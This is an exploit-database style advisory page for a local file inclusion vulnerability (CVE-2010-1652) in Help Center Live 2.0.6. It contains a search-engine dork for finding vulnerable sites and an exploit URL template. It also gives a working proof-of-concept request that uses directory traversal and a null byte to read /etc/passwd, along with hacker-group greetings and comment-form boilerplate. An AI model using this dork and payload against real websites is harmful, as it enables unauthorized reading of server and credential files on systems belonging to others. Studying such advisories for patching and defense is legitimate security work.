Help Center Live 2.0.6(module=helpcenter&file=) Local File

2010.05.04

Credit: 41.w4r10r

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2010-1652

CWE: CWE-22

Dork: inurl:\"module=helpcenter\"

CVSS Base Score: 5/10

Impact Subscore: 2.9/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: None

Availability impact: None

# Exploit Title: Help Center Live 2.0.6(module=helpcenter&file=) Local File
Inclusion
# Date: 27-4-2010
# Author: 41.w4r10r
# Software Link :
# Version: Web Application
# Tested on: Apcahe/Unix
# CVE : [if exists]
# Dork :  inurl:"module=helpcenter"
# Code :
---------------------------------------------------------------------------------------
############################################################################
#Greetz to all Andhra Hackers and ICW Memebers[Indian Cyber
Warriors]
#Thanks:
SaiSatish,FB1H2S,Godwin_Austin,Micr0,Mannu,Harin,Jappy,Dark_Blue,Hoodlum
#Shoutz: hg_H@x0r,r45c4l,Yash,Hackuin,unn4m3d
#Catch us at www.andhrahackers.com or www.teamicw.in
############################################################################



[+] Exploit

http://example.com/[path]/module.php?module=helpcenter&file=[LFI]



[+] POC :

http://localhost/hcl/module.php?module=helpcenter&file=../../../../../../../../etc/passwd%00



#41.w4r10r mailto:41.w4r10r@andhrahackers.com

References:

http://www.vupen.com/english/advisories/2010/1009

http://www.securityfocus.com/bid/39732

http://www.exploit-db.com/exploits/12421

http://secunia.com/advisories/39615

http://packetstormsecurity.org/1004-exploits/helpcenterlive-lfi.txt

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Help Center Live 2.0.6(module=helpcenter&file=) Local File

Dork: inurl:\"module=helpcenter\"

References:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.